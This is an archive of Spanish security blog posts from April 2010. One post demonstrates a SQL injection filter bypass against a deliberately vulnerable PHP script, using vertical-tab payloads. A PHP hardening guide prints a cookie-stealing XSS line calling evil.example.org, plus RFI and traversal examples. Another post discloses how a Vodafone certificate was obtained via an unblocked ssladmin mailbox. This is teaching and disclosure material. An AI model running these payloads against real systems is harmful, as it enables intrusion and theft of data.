29 abril 2010

El mes pasado comenzábamos una serie de entradas con los errores más comunes en los certificados SSL.

En el caso de hoy se tratará otro de los que son habituales, el error que Firefox reporta como "sec_bad_cert_domain".

Dentro de las propiedades más importantes de los certificados SSL uno de los atributos que identifica el propietario del documento es el campo Nombre común (Common Name) o CN en el que ha de figurar el nombre del host para el que está expedido. Por ejemplo el CN para esta web debe ser: "www.securitybydefault.com". En caso de que esto no sea así, el navegador avisará con un mensaje advirtiendo que existe un problema con el certificado tal y como muestra la imagen de la izquierda.

El caso que se muestra es para la web "https://clientesfijos.orange.es" de la que asumo que por motivos históricos mantiene un certificado expedido para www.uni2.es.

Al pulsar en "añadir excepción" se puede descargar el certificado y observar sus valores:


Pulsando sobre "obtener certificado" y posteriormente en "Ver" se mostraría este atributo y el host para el que esta emitido:


En este caso debemos evaluar si realmente la excepción se ha de añadir o si puede ser un certificado falso. En el campo Nombre Común se pueden encontrar múltiples nombres o uso de asteriscos para utilizarlo en múltiples subdominios de un mismo dominio.

Leer más...

28 abril 2010

MySQL, tabuladores verticales y otros códigos de escape

La capacidad y fexibilidad de MySQL siguen sorprendiédome cada día: en esta entrada explicaré un vector de ataque, que nos podrá ser útil cuando utilicemos técnicas de inyección SQL avanzadas contra dicho motor, en entornos donde la entrada de datos sea filtrada.

Se han escrito muchos artículos, papers, y cheat-sheets sobre inyección SQL para MySQL, y parece que todo esté descubierto o inventado, pero, tras leer esta gran entrada del blog de Reiner, reparé en que no parece estar documentado en ningún sitio lo que aquí voy a contar. Seguro que mucha gente conoce esta peculiaridad (me consta), pero nadie (que yo haya podido encontrar) la ha descrito.

Para ilustrarlo, utilizaré este pequeño código PHP: “noticia.php
<?php

// ENTRADA
$id = $_GET [ "id" ];

// FILTROS
// 1. espacio, tab, etc.
if (preg_match( '/\s/' , $id ))
exit ( "chico malo!" ); 
// 2. comentario SQL de carácter único: #
if (preg_match( '/#/' , $id ))
exit ( "chico malo!" );

// CONSULTA INSEGURA
$sql = "SELECT * FROM noticias " .
"WHERE id=" . $id . " " .
"AND fhpublicacion<=NOW() " .
"LIMIT 1" ;

// SALIDA de RESULTADOS
$set = mysql_query( $sql );
...

?> 

El filtrado es “poco serio” pero suficiente para la demostración. Este filtrado descarta dos posibles vectores de ataque de la entrada, por un lado, los caracteres blancos (\s), y por otro, el carácter de “comentario SQL” propio de MySQL (#).

Aún así, en estas condiciones la inyección SQL es viable, y, si quisiéramos expoliar la base de datos y ver una noticia almacenada, por ejemplo la 45, con una fecha de publicación futura, podríamos utilizar el siguiente ataque:

/noticia.php?id=45-- 
Básicamente estamos poniendo el id que nos interesa y anulando las cláusulas adicionales del WHERE mediante un comentario. Si ahora no queremos depender de un id concreto para obtener la siguiente noticia no publicada, tendremos que elaborar una inyección más complicada debido a los filtros. Podríamos utilizar la técnica de los paréntesis explicada en el blog inicial:

/noticia.php?id=(-1)or(fhpublicacion>now())--
Pero también podríamos usar la técnica que quiero explicar, mucho más sencilla:
El patrón ('/\s/') de la expresión regular de PHP filtra, además del espacio en blanco, también el tabulador (\t), el retorno de carro (\r), el avance de línea (\n) y el salto de página (\f). Sin embargo, NO FILTRA otros caracteres:
  • códigos de %01 a %08
  • códigos de %0e a %19
  • y el más curioso: tabulador vertical (\v), código %0b

Pues bien, nuestro querido MySQL interpreta estos caracteres como separadores, es decir, como sustitutos válidos del espacio en blanco. Esto nos permite escribir una sentencia mucho más directa:

/noticia.php?id=-1%0bor%0bfhpublicacion>now()--/noticia.php?id=-1%01or%01fhpublicacion>now()--/noticia.php?id=-1%08or%08fhpublicacion>now()-- ...
e incluso poder jugar con LIMIT para recorrer todos los registros:
/noticia.php?id=-1%0bor%0bfhpublicacion>now()%0blimit%0b2,1--  
Mediante esta sencilla técnica es mucho más fácil explotar la vulnerabilidad de este código, sin necesidad de utilizar la, no siempre viable, técnica de los paréntesis (como ocurre con la cláusula LIMIT). Por supuesto también puede resultar muy útil para evadir IDSs/IPSs y sistemas similares.

Para finalizar, indicar que el alcance de este comportamiento es muy amplio, ya que esta técnica ha sido probada con MySQL 5.x y PHP 5.x, tanto con la extensión tradicional de mysql-php como con la nueva, en entorno Linux y Windows indistintamente. Amplio margen de maniobra, ¿verdad?

happy hacking! ;)

-Miguel Gesteiro (@mgesteiro)
Leer más...

27 abril 2010

Reportaje "¿Estamos desnudos en Internet?" este viernes en Cuatro

La semana pasada comenzó un nuevo programa en la cadena de televisión Cuatro, llamado 'REC', que consiste en reportajes semanales que tratan de temas de actualidad. Con una duración de 1 hora, se emite los Viernes a las 23:35h, horario de máxima audiencia en la cadena, y es presentado y dirigido por el periodista Jon Sistiaga, de sobra conocido por todos. 


Pues bien, el reportaje de esta semana se titula ¿Estamos desnudos en Internet?, y en él se tratará el tema de la privacidad (y la ausencia de ella) en Internet. La periodista Laura Gimeno conducirá este documental en el que se mostrará la cantidad de información privada de todos nosotros que se puede encontrar, bien tanto en archivos públicos como por encontrarse accesibles al explotar ciertas vulnerabilidades, y como dicha información puede ser aprovechada de manera malintencionada contra nosotros.

Se ha distribuido un pequeño avance de lo que podremos ver el reportaje, y en él veremos caras conocidas (sobretodo para los asistentes de la pasada Rooted CON), como por ejemplo David Barroso (@lostinsecurity), Francisco Marco (Vicepresidente de Fundación Maia y Director General de Método 3, al que pudimos ver en el RootedPanel sobre la reforma del código penal) y Román Ramirez, uno de los fundadores de Rooted CON.

Además, en dicho avance también se pueden ver imágenes del documental Internet: Zona Peligrosa, que Yago referenció en el último párrafo de este post y que podréis ver íntegro en esta dirección.

A continuación adjuntamos el vídeo con el avance del reportaje "¿Estamos desnudos en Internet?":



Si no tenéis oportunidad de verlo, tranquilos, porque una vez sea emitido se colgará el programa completo directamente en su web.

Más información: 

Leer más...

26 abril 2010

Yo soy Vodafone.es, Y orangemail.es, Y Mixmail.com

Les comprendo, supongo que cuando han leído el titulo y han visto la foto que lo acompaña (el GRAN Freud) han pensado que definitivamente he perdido la cabeza y padezco algún tipo de trastorno de personalidad múltiple.

Bien, es posible, pero antes de emitir un veredicto déjenme darles una explicación.

Primero de todo, definamos un contexto sobre 'como se es algo en Internet'. La forma mas comúnmente aceptada de probar la identidad online son los certificados digitales. Es la forma de, por ejemplo, tener la certeza de que cuando navegamos en la web de Caja Madrid estamos en ese sitio ya que, vía SSL, sabemos que alguien ha certificado que eso es correcto.

Definido el marco de lo que es una identidad Online, imagino que en este punto el ávido lector se estará preguntando ¿Significa esto podrías tener certificados SSL de Vodafone, Mixmail y Orangemail? Respuesta rápida: Si, pero mejor explicarlo.

Los certificados SSL 'normales' (no los EV) con el paso del tiempo se han convertido en algo tan fiable como la palabra de un político. Ya hicimos una demo de lo fácil que es obtener uno para un sitio que manifiestamente iba a albergar Phishing (El certificado de ese post ya caducó, obviamente no lo vamos a renovar).

El proceso de petición de un certificado SSL normal conlleva una parte de verificación mínima bastante pobre. Muchas entidades certificadoras tienen como único paso de verificación que seas capaz de controlar una de las cuentas de correo que ellas designan como 'fiables'. A través del Twitter de @hdmoore llegué a un curioso post donde se comentaba como en muchos webmails la cuenta 'ssladmin' no estaba bloqueada y como muchas entidades de certificación la tienen como cuenta-de-verificación. No pude resistirme a probar como estaban algunos webmails nacionales. Aprovechando que soy cliente de Vodafone (pese a la extrema torpeza de @vodafone_es) hice la prueba y ... Vaya ! resulta que si puedo registrar ssladmin@vodafone.es, después probamos en Orangemail y Mixmail con idéntico resultado (probablemente haya muchos otros sitios pero con esto, suficiente).

El siguiente paso es localizar una entidad certificadora que tuviera a ssladmin como cuenta de correo en el protocolo de verificación, nuevamente recurrimos a Comodo por sus amables certificados de 90 días gratis.

Vodafone España tiene como website para clientes canalonline.vodafone.es desde donde se puede gestionar toda la operativa de clientes Vodafone. Así que me dispuse a solicitar un certificado para ese dominio. Como se puede ver en la captura, para verificar que yo tengo legitimidad sobre vodafone.es, Comodo tan solo me pide que responda a un email en alguna de esas cuentas, como yo gestiono ssladmin@vodafone.es puedo solicitar un certificado para Vodafone.es y CUALQUIER subdominio.


Una vez hecho eso, con enviar un CSR hecho vía OpenSSL, ya pude disponer de mi certificado aceptado en *todos* los navegadores para canalonline.vodafone.es. 100% factible para ataques Man-in-the-middle.

Disclamer: Dado que el propósito NO es hacer algo ilegal, acto seguido destruimos la clave privada asociada a ese certificado, de forma que NO es usable.


Aquí en formato Crt (PEM) el certificado obtenido.

¿Veredicto?
Leer más...

25 abril 2010

Seguridad en PHP

Escribir aplicaciones PHP no es extremadamente difícil. Pero muchos olvidan los aspectos de seguridad que deben ser tenidos en cuenta al implementar estas aplicaciones.

A veces no se piensa en el daño que puede sufrir un sitio web hasta que ya es demasiado tarde.

Se debe empezar a diseñar con cabeza y no ser meros robots codificando. Veamos un poco más a fondo las posibles amenazas y recomendaciones para hacer que nuestro sitio web sea un poco más seguro.

Inyección SQL

Este ataque se produce cuando un atacante ejecuta sentencias SQL en la base de datos del sitio web, insertando en un campo del formulario sentencias SQL dentro de otra sentencia SQL haciendo que se ejecute la sentencia invasora.

Se recomienda:
  • Filtrar los datos. Por ejemplo, si tenemos en nuestro formulario el campo username, y sabemos que los usuarios sólo pueden estar compuestos por letras y números, no se deben permitir caracteres como " ' " o " = " . O si se trata del campo e-mail, podemos utilizar expresiones regulares para validarlo, como preg_match('/^.+@.+\..{2,3}$/',$_POST['email'])
  • Usar funciones que escapan caracteres especiales de una cadena para su uso en una sentencia SQL, como mysql_real_escape_string(), la cual coloca barras invertidas antes de los siguientes caracteres: \x00, \n, \r, \, ', " y \x1a. O addslashes(), (la directiva de PHP magic_quotes_gpc está activada por defecto, y básicamente ejecuta la función addslashes() en todos los datos GET, POST, y COOKIE. No se debe utilizar addslashes() en las cadenas que ya se han escapado con magic_quotes_gpc ya que se hará un doble escape).

XSS (Cross Site Scripting)


Las vulnerabilidades de XSS permiten ejecutar código de scripting en el contexto del sitio web:
  • Explotando la confianza que tiene un usuario de un sitio web. Puede que los usuarios no tengan un alto nivel de confianza en un sitio web, pero sí el navegador. Por ejemplo, cuando el navegador envía cookies en una petición.
  • Haciendo que los sitios web muestren datos externos. Como aplicaciones de mayor riesgo que incluyen foros, clientes de correo web, o contenido de RSS.
  • Cuando los datos externos no se filtran adecuadamente un atacante puede inyectar un contenido. Esto es tan peligroso como dejar que el atacante edite código en el servidor.
Un usuario que ejecute este código con JavaScript activado en su navegador será redireccionado a evil.example.org, y las cookies asociadas al sitio web serán incluidas en la consulta:

<script>document.location = 'http://evil.example.org/steal_cookies.php?cookies=' + document.cookie</script>

Se recomienda:
  • Filtrar todos los datos externos. El filtrado de datos es la práctica más importante que se puede adoptar. Al validar todos los datos externos a medida que entran y salen de la aplicación se mitigarán la mayoría de las preocupaciones del XSS.
  • Utilizar las funciones que tiene PHP que ayudan al filtrado. Pueden ser útiles htmlentities () que convierte caracteres a entidades HTML, strip_tags () que elimina las etiquetas HTML y PHP de una cadena y utf8_decode ().
  • Basarse en listas blancas. Supongamos que los datos no son válidos hasta que no se pruebe que lo son. Esto implica verificar la longitud y asegurar que sólo los caracteres válidos son permitidos. Por ejemplo, si se inserta el nombre y apellidos, se debe asegurar que sólo se permiten letras y espacios. Por ejemplo Berners-Lee se consideraría nula, pero esto se puede arreglar añadiendo este nombre a la lista blanca. Es mejor rechazar datos válidos que aceptar datos maliciosos.
  • Utilizar una convención de nomenclatura estricta. Una convención de nomenclatura puede ayudar a los desarrolladores a distinguir entre datos filtrados y sin filtrar.

CSRF (Cross Site Request Forgery)

Explota la confianza que tiene un sitio web en la identidad de un usuario.

Un ejemplo sería enviar los siguientes datos en la petición:

GET /buy.php?symbol=SCOX&quantity=1000 HTTP/1.1
Host: stocks.example.org
User-Agent: Mozilla/5.0 Gecko
Accept: text/xml, image/png, image/jpeg, image/gif, */*
Cookie: PHPSESSID=1234

Se recomienda:
  • Utilizar POST en lugar de GET en los formularios. Sobre todo cuando se esté realizando una acción que involucra una compra.
  • Utilizar $_POST en lugar de confiar en register_globals. Utilizar el método POST es inútil si se confía en register_globals y se referencian variables como $symbol o $quantity. Lo mismo sucede si se utiliza $_REQUEST.
  • Generar un token único para cada petición y verificarlo posteriormente.

Directory Traversal

Este ataque se produce cuando se especifican rutas de ficheros como "../../../../file" en los datos del formulario y mediante un script se llama a estos ficheros. Proporcionando a un atacante la posibilidad de realizar cambios en el sistema de ficheros.


Si dentro del script de PHP se incluye: require $page . '.php'; Sabiendo que esta página se almacena en /home/someone/public_html/index.php, un atacante podría hacer index.php?page=../secret accediendo a /home/someone/secret.php

Se recomienda:
  • Tener un array de páginas válidas.
  • Comprobar que el archivo solicitado coincide con un formato concreto.

RFI (Remote File Inclusion)


Como su nombre indica, se produce cuando se incluye un archivo remoto.

Por ejemplo, si existe un archivo en la ruta http://example.com/malice.php y nuestro script se encuentra en http://site.com/index.php. Un atacante puede hacer esta petición: http://site.com/index.php?page=http://example.com/malice lo que provocará que el archivo se ejecute y escriba un nuevo fichero en disco. Pudiendo ser este fichero una shell que permita la ejecución de comandos.

O por ejemplo, asignar a page el valor http://example.com/malice.php? seguido de una consulta a base de datos.

Se recomienda:
  • No confiar en los datos que no provengan de nuestro sistema.
  • Se deben validar los datos que introduce el usuario.

Seguridad en sesiones


Las sesiones y las cookies pueden ser usadas para comprometer las cuentas de los usuarios. Cuando se almacena una cookie en el ordenador esta puede ser modificada por el usuario.

Se recomienda:
  • Cambiar el identificador de la sesión a menudo. Utilizando la función session_regenerate_id() se reduce la posibilidad de que el identificador sea interceptado.
  • Usando versiones PHP5.2 o posteriores se puede denegar al Javascript del navegador el acceso a la cookie activando el flag httponly.
Esta es una pequeña muestra de recomendaciones que hará que nuestra aplicación PHP sea algo más segura.

[+] PHP Security Consortium
[+] PHP Freaks
[+] PHP Security & SQL Security. Acunetix
Leer más...

24 abril 2010

Vendiendo seguridad en el mundo empresarial

Si se da la oportunidad de que en una empresa grande tengan abierto un proceso de evaluación y compra de un producto de seguridad que tú vendas. ¿Qué hay que decir? ¿dónde hacer hincapié? ¿en qué insistir o resaltar?

Entre las labores comerciales previas a la visita, ayuda mucho conocer quién/quienes son los interlocutores que se visitarán, qué cargo ocupan (a qué se dedica, si es técnico o no, especialista o generalista,...), y sobre todo la conocer la empresa en sí y su apuesta/necesidad por la seguridad en sus operaciones y procedimientos.

En este tipo de situaciones, en las que existe un interés por una tecnología en concreto, es esencial saber cuál es lo que se llama el "key driver" del proyecto. En el mundo empresarial, la decisión de implantar determinada tecnología de seguridad, surge por una necesidad. Generalmente es para proteger los datos de sus clientes, sus procedimientos, daños en su imagen (si sale a la luz que un sistema ha sido comprometido),... La motivación de esta necesidad puede ser por cumplir con alguna normativa (PCI-DSS, HIPAA, AENOR, ISO,...) o simplemente porque es de sentido común que los sistemas han de contar con un nivel adecuado de seguridad.

Pero ¿En qué se fijan las empresas cuando evalúan los diferentes productos?

Si la necesidad surge por una determinada normativa, el nivel de seguridad y la fecha de decisión del proyecto vendrá dictada por la propia legislación.

De todas formas, y dejando al margen el precio inicial (y de mantenimiento anual) de cada fabricante que se evalúa, que por supuesto que influye en la compra, por mi experiencia puedo resaltar las siguientes:

  • Que la solución técnicamente sea competitiva. En algunos casos, no es necesario ni siquiera que sea la mejor, pero que sea suficientemente robusta para lo que se pretende proteger.
  • Que garantice el servicio. Si en un momento puntual, no es seguro, pues mala suerte, pero lo que no puede pasar es que por un fallo en un elemento de seguridad, se pierda servicio. La alta disponibilidad es imprescindible.
  • Rendimiento. Con que no introduzca un retardo inaceptable en la calidad del servicio, es suficiente en la mayoría de las ocasiones. En general, seguridad está reñida con el rendimiento.
  • Que sea escalable. Si hoy dimensiono mis necesidades, en el hipotético caso de crecimiento (aunque mirando las páginas económicas de cualquier periódico, cualquiera lo diría), que sea lo más fácilmente posible. Generalmente triunfan las soluciones que soportan clustering activo-activo, balanceando carga entre nodos, de manera que si necesito otro nodo, lo añado y todo sigue funcionando.
  • Rapidez de despliegue y configuración. Que introducir esa tecnología en la empresa no sea traumático, no genere falsos positivos ni "moleste" a los clientes y usuarios.
  • Facilidad y tiempo diario de administración. En cada presentación me preguntan cuántas horas/hombre semanales requiere dedicarle a la gestión de la misma.
  • Capacidad de generación de informes/reportes. Lo que nos gusta o disgusta a los humanos nos entra por los ojos. Cuanto más alto es el cargo (y menos técnico sea), más hincapié habrá que hacer en demostrar la relevancia de los informes, gráficos, diagramas, etc,...
  • Nivel y calidad de soporte postventa: los SLAs que da el fabricante o integrador en caso de incidencia: 8x5, 24x7, NBD,... tiempo de respuesta en X horas, etc,...

Al final, cada empresa valorará estas y otras medidas, según lo que cada una priorice. Por eso es importante contar con soluciones que cumplan lo mejor posible los puntos anteriores, y por supuesto saber cuál es el problema que quiere resolver cada cliente o qué motiva su compra. Sólo entendiendo esto se le podrá ofrecer la mejor configuración posible adaptándolo a sus necesidades, desde el momento de la preventa.
Leer más...

23 abril 2010

La semana (graciosa) de los antivirus

La que lió la compañía Kaspersky en febrero de este año fue muy graciosa. Pero no son cosas aisladas, la industria del antivirus parece la más divertida.

No, no voy a hablar de lo que le ocurrió ayer a McAfee metiendo en su actualización número 5958 el proceso svchost.exe como si fuese el virus w32/wecorl.a. Bien sabemos que svchost.exe se encarga de arrancar servicios de bibliotecas de vínculos dinámicos (DLL)  y que los falsos positivos son algo demasiado común en la industria de la seguridad, aunque en este caso en concreto se ha convertido en crítico al dejar inutilizado los sistemas en los que se han producido (pim pan toma lacasitos)

La de hoy era una entrada graciosa sobre un tweet que he leído a Mikel Gastesi (@mgastesi) y un pequeño problemilla con una captura de pantalla en la web de Symantec (revolution). En la noticia de la compañía antivirus muestran información sobre el infame Zbot y una nueva técnica para infectar ejecutables que se encuentren en el sistema. ¡como los virus de toda la vida!, que acompañan la explicación con una imagen en la que han tachado alguna información sensible (tampoco demasiado), aunque no deja de ser gracioso el intento. 

 Copio la imagen por si la modifican o borran:


 ¡¡Qué se te ve la IP!!!

Actualización (¡gracias ysc!):
Parece que la entrada ya está solucionada, pero la imagen original sigue colgada en: http://www.symantec.com/connect/sites/default/files/images/zbotinf2_cropped_400.png 

Mientras que la nueva solucionada, con humor, como no puede ser de otra forma, en:
http://www.symantec.com/connect/sites/default/files/images/hexURL_TRed_FAIL_fixed.jpg

Leer más...

22 abril 2010

Gestión de Certificados Digitales en Windows Vista y 7

Hoy vamos a explicar algo curioso sobre los 'pequeños' cambios que ha sufrido la gestión de certificados digitales en Windows.

En concreto me estoy refiriendo a la forma en la que Windows gestiona los certificados de CAs Raíz (root) en Vista y 7.

Tradicionalmente la gestión de CAs en Windows era similar a la que hace, por ejemplo, Firefox. Se dispone de un contenedor donde se almacenan las CAs raíz que Mozilla o Microsoft han designado como fiables tras procesos varios de aprobación, y el usuario final simplemente se desentiende. Esta gestión estática de certificados tiene sus cosas buenas y sus cosas malas, la parte buena es que tu, como usuario final, puedes revisar la lista y desinstalar cualquiera de esos certificados a tu criterio. La parte mala viene a la hora de incorporar nuevas CAs, normalmente es necesario liberar un parche o una actualización de software con las nuevas CAs.

Alguien en Microsoft debió decidir que esa forma tan estática de gestión no es optima y la cambiaron. Si observamos la lista de certificados de CAs raíz que vienen 'by default' en Windows observaremos que apenas hay unos pocos certificados (solo 12).



¿Microsoft se ha vuelto paranoica? Nada de eso, como prueba de concepto podemos navegar hacia la web de la AEAT https://www.agenciatributaria.gob.es/ y... ¡ Sorpresa ! podemos acceder vía SSL sin ningún warning porque el certificado, (emitido por la FNMT) ha sido considerado valido. ¿Que ocurre si volvemos a mirar el contenedor de certificados?


Vaya ! ahora aparece en el contenedor el certificado de la CA de la FNMT, y todo esto sin intervención alguna del usuario. De hecho apenas se puede encontrar rastro del suceso en el visor de eventos:


Si probamos a eliminar manualmente el certificado del repositorio y volvemos a navegar sobre la web de la AEAT, el proceso se repite y el certificado se carga en el contenedor.

Googleando y preguntando lo cierto es que no encontré información sobre este cambio en modo detallado, así que me puse a investigar un poco. Tirando de Wireshark vi esto:


Muy elocuente el UserAgent, sin duda. El caso es que parece que cuando a Explorer se le muestra un certificado que no es capaz de validar, descarga ese fichero Cab. ¿Y que hay dentro de ese fichero? Otro llamado authroot.stl que, tal y como vemos en MSDN, se trata de una lista de certificados de confianza firmada digitalmente por una CA de Microsoft. Así que el proceso está claro. Microsoft tiene una lista de certificados validos que gestiona dinámicamente a su aire y que va suministrando al usuario final cuando este encuentra un certificado que no puede validar. Si buscamos en el fichero authroot.stl


Podemos ver la lista completa de certificados que en ese momento Microsoft da por validos y entre ellos, el de la FNMT.

Particularmente creo que con algo tan serio como los certificados digitales que, no dejan de ser sobre lo que se articula la seguridad en Internet, merecen la máxima transparencia y rigor. Ya hemos visto que la lista de CAs válidas es consultable en un momento determinado, pero el hecho de que esa lista se modifique dinámicamente y sin visibilidad no es buena idea. Y mas cuando se escuchan algunas voces que siembran bastantes dudas. A eso hay que sumarle que, aunque se eliminen los certificados, Windows los volverá a cargar amablemente.

Realmente se puede deshabilitar la auto-actualización de certificados usando el editor de políticas de Windows:


Pero obviamente, la idea de tener que ir aprobando certificados a nivel de usuario, es menos recomendable si cabe.

No obstante, en aras de al menos tener cierto control sobre lo que sucede en nuestro almacén de certificados, he programado una pequeña herramienta llamada CertMon que monitoriza el almacén de certificados en Windows y, cuando detecta que se ha cargado un nuevo certificado, informa al usuario dando los datos de la CA.


La herramienta está disponible aquí
Leer más...

21 abril 2010

8 Herramientas de seguridad web comprensivas y gratuitas

Aprovechando la salida de la última versión de Sandcat quería hacer una pequeña recopilación de las aplicaciones más populares y potentes para el análisis de seguridad web gratuitas.

En alguna ocasión he leído comparaciones de estas herramientas con otras que únicamente hacen sus análisis en base a firmas, como por ejemplo Nikto o la versión gratuita de N-Stalker Esta comparación es un error, ya que el enfoque es completamente distinto. Ambas están enfocadas a detectar vulnerabilidades pero las aplicaciones basadas en patrones generalmente tienen bases de datos más amplias y actualizadas que las herramientas comprensivas y por lo tanto son complementarias.

Las características son muy similares en todas ellas, hacen una navegación previa y posteriormente lanzan el banco de pruebas. Exceptuando las dos últimas, scrawlr y acunetix,  que únicamente detectan SQL Injection y XSS respectivamente, todas las demás buscan las vulnerabilidades más comunes.

Sandcat Free Edition
URL: http://www.syhunt.com/?n=Sandcat.Sandcat
Descarga: http://www.syhunt.com/?n=Sandcat.Download
Sistema Operativo: Windows




NetSpaker CE
URL: http://www.mavitunasecurity.com/communityedition/
Descarga: http://www.mavitunasecurity.com/communityedition/download/
Sistema Operativo: Windows


Websecurify
URL: http://www.websecurify.com/
Descarga: http://code.google.com/p/websecurify/downloads/list
Sistema Operativo: Windows, Mac OS, Linux



w3af
URL: http://w3af.sourceforge.net/
Descarga: http://sourceforge.net/projects/w3af/files/
Sistema Operativo: Windows, FreeBSD,  Linux





skipfish
URL: http://code.google.com/p/skipfish/
Descarga: http://code.google.com/p/skipfish/downloads/list
Sistema Operativo: Linux



wapiti
URL: http://www.ict-romulus.eu/web/wapiti/home
Descarga: http://www.ict-romulus.eu/web/wapiti/download
Sistema Operativo: Linux 



scrawlr
URL: http://www.communities.hp.com/securitysoftware/blogs/spilabs/archive/2008/06/23/finding-sql-injection-with-scrawlr.aspx
Descarga: https://h30406.www3.hp.com/campaigns/2008/wwcampaign/1-57C4K/index.php?mcc=DNXA&jumpid=in_r11374_us/en/large/tsg/w1_0908_scrawlr_redirect/mcc_DNXA
Sistema Operativo: Windows



acunetix free edition
URL: http://www.acunetix.com/cross-site-scripting/scanner.htm
Descarga: http://www.acunetix.com/vulnerability-scanner/download.htm
Sistema Operativo: Windows

Leer más...

18 abril 2010

Ayer finalizó el Concurso de Hacking que organizamos para la Campus Party Europe 2010 en Madrid.

Tuvimos el placer de contar con participantes de diversos países europeos, entre ellos, Italia, Eslovaquia, Malta, Alemania, Francia, Finlandia, España.

Más de uno sufrió algún que otro quebradero de cabeza.


Hubo quien no desconectó (ni para irse a dormir) durante todo el concurso.

El tercer premio fue para aw3a, equipo español que nos sorprendió a todos y que augura un futuro prometedor.

El segundo premio fue para el alemán FluxReiners, quien se mantuvo muy concentrado durante todo el concurso.

Y el ganador fue el español knx, una máquina, y otra joven promesa que también nos dará muchas sorpresas.

Esperamos que hayáis disfrutado del concurso, y deseamos volver dentro de poco con más pruebas que hagan saltar chispas de vuestro cerebro.

Y una vez más, dar las gracias a la organización por habernos permitido montar el concurso, a las personas que han colaborado en la realización de las pruebas y a todos los participantes por los ratos tan entrañables que nos han hecho pasar.
Leer más...

17 abril 2010

Qubes: Sistema Operativo con la Seguridad como premisa

Como sabéis, SecurityByDefault, coordina el área de seguridad de la edición especial de Campus Party Europa, que se está celebrando en Madrid con motivo de la presidencia de España en la Unión Europea. Este área comprende la organización de un wargame, así como varias charlas relacionadas con seguridad informática.

Entre otras, pudimos contar con la presentación de Qubes, por parte de la propia creadora del mismo: Joanna Rutkowska, considerada como una de las gurús internacionales en el mundo de la Seguridad.


Empezó la presentación dejándonos ver los problemas de los sistemas operativos actuales más usados: Windows, Linux y Apple Mac OS X. Hizo especial hincapié en que, la forma en que ven la seguridad los fabricantes de software para este tipo de Sistemas Operativos es, que según se van descubriendo vulnerabilidades, se van publicando parches o service packs que solucionan dichos agujeros. Además, otra forma de intentar dar mayor protección de las aplicaciones y sistemas operativos, es aislando la ejecución de unas aplicaciones de otras, drivers y demás, mediante protecciones establecidas a nivel de kernel del sistema operativo. Evidentemente, ninguno está exento de fallos y, debido a tener que compartir recursos y memoria por parte del mismo, es posible en ocasiones "leer y escribir" datos en sitios que no se debe.

Para Joanna, está claro que los modelos actuales basados en corregir y en aislar procesos (utilizando un kernel monolítico enorme) no funcionan como deberían y, debido a la evolución natural del software genera más y más fallos.

Por eso plantea utilizar otro mecanismo basado en virtualización, llevando el aislamiento de aplicaciones al extremo. En grandes rasgos, Qubes plantea un sistema operativo basado en un único "Dom-0" de virtualización basado en Xen que, utilizando un único hipervisor como mecanismo comunicación y gestión, comunica las diferentes aplicaciones con el usuario.


Para ello se define, como se puede ver en la foto, tantas máquinas virtuales de aplicación, en adelante AVMs, como deseemos, dedicando cada una de ellas a una finalidad determinada. Joanna planteaba un ejemplo con tres máquinas virtuales de aplicación (o Qubes = Cubos) diferentes: una para trabajar, otra para compras online y otra para el resto de las aplicaciones. Entre las diferentes AVMs, no está permitida ni es posible la comunicación, garantizándose por parte del hipervisor.

Se pueden definir tantas como se desee, estando limitados únicamente por la RAM del equipo donde se esté instalando. Según Joanna, en 4 GB de RAM ha llegado a ejecutar unos 8 entornos sin llegar a utilizar los ficheros swap de la máquina.

Aparte de las máquinas virtuales donde están corriendo las aplicaciones, existe una más que es la que tiene el escritorio del usuario: "lo que el usuario ve realmente". Para éste es transparente, pero en realidad, su interacción con las aplicaciones no es directa. Su máquina virtual es la única que se comunica con los dispositivos de entrada/salida (video, audio, teclado, ratón, etc,...)


Cuando el usuario ejecuta en su escritorio una aplicación se ejecuta en su AVM correspondiente, en modo "sandbox", y el usuario sólo ve ventanas, que son enviadas (exportando las XWindows) desde cada AVM por un agente Qubes, a un visor de aplicaciones que corre en la máquina virtual escritorio. Todas las aplicaciones que pertenecen a cada AVM tienen un marco de color único, definido en la creación de cada AVM). Por supuesto, es posible compartir información entre aplicaciones de las diferentes AVMs, mediante copiar/pegar o envío de ficheros, pero de una forma muy controlada y pasando por la máquina virtual escritorio del usuario, a través del hipervisor.

Para acceder a la red, cada AVM define opcionalmente el acceso, porque puede que queramos algún AVM que no tenga capa de red, y todo pasa a través del hipervisor, que es quien hablará con el hardware finalmente.

Cada AVM se crea a partir de una imagen única y protegida en modo "sólo lectura". A partir de ahí tienen una estructura mínima de directorios (/boot, /bin, /etc, /lib,....) de unos 5GB, lo cuál es un entorno chroot un poco grande, pero bueno... Al apagar el sistema operativo, cada AVM guarda los datos de usuario en una imagen privada y la de sistema operativo en otra diferente. Cuando se hace una actualización de aplicaciones se aplica en todas las AVMs a la vez así como en la imagen original.

Los datos van cifrados a nivel de disco (LUKS) e incluso se ha tenido en cuenta consideraciones de arranque utilizando tecnología Intel TXT (Trusted Execution Technology)que libera un TPM (un sello que se libera o no según TXT), permitiendo complementar además el gestor de arranque con una contraseña o una smartcard, y así llevar a cabo un arranque verificado.

La filosofía de este sistema operativo tan seguro, es además que cualquier usuario, por muy pocos conocimientos técnicos tenga (Joanna ponía ejemplos de abogados o personas de negocios), pueda usarlo perfectamente y se sienta seguro con él.

Qubes OS es un proyecto Open Source, licenciado bajo GPLv2. Está basado en Fedora Core 12. La idea surgió hace unos dos años, y se ha llevado a la implementación práctica desde hace unos seis meses. Actualmente está libre para desarrolladores, y se pretende que la versión estable se publique a final de año, cuando solucionen ciertos problemas relativos al dominio de almacenamiento de datos.



Joanna traía traía dos portátiles, uno con Qubes y un Macbook negro de 13",... por lo que parece que mientras no esté disponible Qubs, Mac OS X es el sistema operativo que más la convence. Esperemos que el roadmap se cumpla en tiempos y que podamos disfrutar de un sistema operativo pensado con la seguridad en mente por parte de una de las mentes más preclaras en el mundo de la seguridad.

Only paranoid survive!
Leer más...

15 abril 2010

Un día en la BlackHat Europe 2010

Madre mía, qué difícil es resumir tantas y tantas cosas en un sólo post sin que quede un post kilométrico.... En fin, que haré lo que pueda.

Después de un madrugón curioso, llego al Hotel Rey Juan Carlos en Barcelona, ciudad donde se celebraba por primera vez este año la BlackHat Europa. Pasado el registro y tras recibir el Welcome Pack (una especie de bolso con documentación en papel, en CD, una libreta, etc...), entro en una sala llena hasta la bandera que escuchaba atentamente a Jeff Moss (fundador de BlackHat al que Jose Antonio entrevistó el año pasado en la edición de Amsterdam) inaugurando el evento.

* 9:00 - 10:00 Max Kelly "Security The Facebook Way"

